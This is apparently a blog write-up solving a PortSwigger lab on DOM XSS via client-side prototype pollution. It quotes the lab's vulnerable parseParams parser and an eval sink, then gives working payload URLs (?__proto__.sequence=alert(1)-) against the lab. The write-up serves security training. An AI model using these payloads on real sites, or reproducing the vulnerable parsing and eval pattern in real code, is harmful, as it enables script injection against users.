Post

PortSwigger - DOM XSS via an alternative prototype pollution vector

This lab is vulnerable to DOM XSS via client-side prototype pollution. To solve the lab:

  1. Find a source that you can use to add arbitrary properties to the global Object.prototype.
  2. Identify a gadget property that allows you to execute arbitrary JavaScript.
  3. Combine these to call alert().

Website Landing Page


When looking for Prototype pollution, we need find some logic that that:

  1. Parses user supplied JSON
  2. Constructs a JavaScript object in a way that prototype pollution can be introduced. This is usually through a merge function like so:
    1
    2
    3
    4
    5
    6
    7
    
    for(var attr in source) {
     if(typeof(target[attr]) === "object" && typeof(source[attr]) === "object") {
         merge(target[attr], source[attr]);
     } else {
         target[attr] = source[attr];
     }
    }
    
  3. The user controlled object needs to end up in an XSS sink.


Finding the Sink

I prefer to search for the sinks in the application and then work my way backwards to see if that source is controllable. When searching through the JavaScript code, the following code block stood out in the searchLoggerAlternative.js file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
async function searchLogger() {
    window.macros = {};
    window.manager = {params: $.parseParams(new URL(location)), macro(property) {
            if (window.macros.hasOwnProperty(property))
                return macros[property]
        }};
    let a = manager.sequence || 1;
    manager.sequence = a + 1;

    eval('if(manager && manager.sequence){ manager.macro('+manager.sequence+') }');

    if(manager.params && manager.params.search) {
        await logQuery('/logger', manager.params);
    }
}

window.addEventListener("load", searchLogger);


The eval function has a value that is potentially controllable. If we are able to control the manager.sequence value then we can get XSS.


Finding the Source

Now that we have the sink, lets work our way backwards to find where the manager.sequence is coming from. The managervalue is being set just above with the following code:

1
2
3
4
window.manager = {params: $.parseParams(new URL(location)), macro(property) {
    if (window.macros.hasOwnProperty(property))
        return macros[property]
}};


The new URL(location) is a controllable source. The URL object is being passed into the parseParams function. The returned value from the function will be the value to the key params in the manager object. If the parseParams is vulnerable to prototype pollution, then we will be able to add the key sequence to the manager object to get XSS.

The parseParams function below is quite long. Thankfully there is an explanation in the code’s comments.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
// Add an URL parser to JQuery that returns an object
// This function is meant to be used with an URL like the window.location
// Use: $.parseParams('http://mysite.com/?var=string') or $.parseParams() to parse the window.location
// Simple variable:  ?var=abc                        returns {var: "abc"}
// Simple object:    ?var.length=2&var.scope=123     returns {var: {length: "2", scope: "123"}}
// Simple array:     ?var[]=0&var[]=9                returns {var: ["0", "9"]}
// Array with index: ?var[0]=0&var[1]=9              returns {var: ["0", "9"]}
// Nested objects:   ?my.var.is.here=5               returns {my: {var: {is: {here: "5"}}}}
// All together:     ?var=a&my.var[]=b&my.cookie=no  returns {var: "a", my: {var: ["b"], cookie: "no"}}
// You just cant have an object in an array, ?var[1].test=abc DOES NOT WORK
(function ($) {
    var re = /([^&=]+)=?([^&]*)/g;
    var decode = function (str) {
        return decodeURIComponent(str.replace(/\+/g, ' '));
    };
    $.parseParams = function (query) {
        // recursive function to construct the result object
        function createElement(params, key, value) {
            key = key + '';
            // if the key is a property
            if (key.indexOf('.') !== -1) {
                // extract the first part with the name of the object
                var list = key.split('.');
                // the rest of the key
                var new_key = key.split(/\.(.+)?/)[1];
                // create the object if it doesnt exist
                if (!params[list[0]]) params[list[0]] = {};
                // if the key is not empty, create it in the object
                if (new_key !== '') {
                    createElement(params[list[0]], new_key, value);
                } else console.warn('parseParams :: empty property in key "' + key + '"');
            } else
                // if the key is an array
            if (key.indexOf('[') !== -1) {
                // extract the array name
                var list = key.split('[');
                key = list[0];
                // extract the index of the array
                var list = list[1].split(']');
                var index = list[0]
                // if index is empty, just push the value at the end of the array
                if (index == '') {
                    if (!params) params = {};
                    if (!params[key] || !$.isArray(params[key])) params[key] = [];
                    params[key].push(value);
                } else
                    // add the value at the index (must be an integer)
                {
                    if (!params) params = {};
                    if (!params[key] || !$.isArray(params[key])) params[key] = [];
                    params[key][parseInt(index)] = value;
                }
            } else
                // just normal key
            {
                if (!params) params = {};
                params[key] = value;
            }
        }
        // be sure the query is a string
        query = query + '';
        if (query === '') query = window.location + '';
        var params = {}, e;
        if (query) {
            // remove # from end of query
            if (query.indexOf('#') !== -1) {
                query = query.substr(0, query.indexOf('#'));
            }

            // remove ? at the begining of the query
            if (query.indexOf('?') !== -1) {
                query = query.substr(query.indexOf('?') + 1, query.length);
            } else return {};
            // empty parameters
            if (query == '') return {};
            // execute a createElement on every key and value
            while (e = re.exec(query)) {
                var key = decode(e[1]);
                var value = decode(e[2]);
                createElement(params, key, value);
            }
        }
        return params;
    };
})(jQuery);


Debugging

Sending the following typical prototype pollution payload results in an unexpected behavior.

1
https://web-security-academy.net/?__proto__[sequence]=test

If the JavaScript object notion doesn’t work. You should always try the dot notation too.

1
https://web-security-academy.net/?__proto__.sequence=test


Prototype Pollution

Now that we can pollution the manager.sequence object. We can get XSS because we have a sink in eval.

1
https://web-security-academy.net/?__proto__.sequence=alert(1)-

This post is licensed under CC BY 4.0 by the author.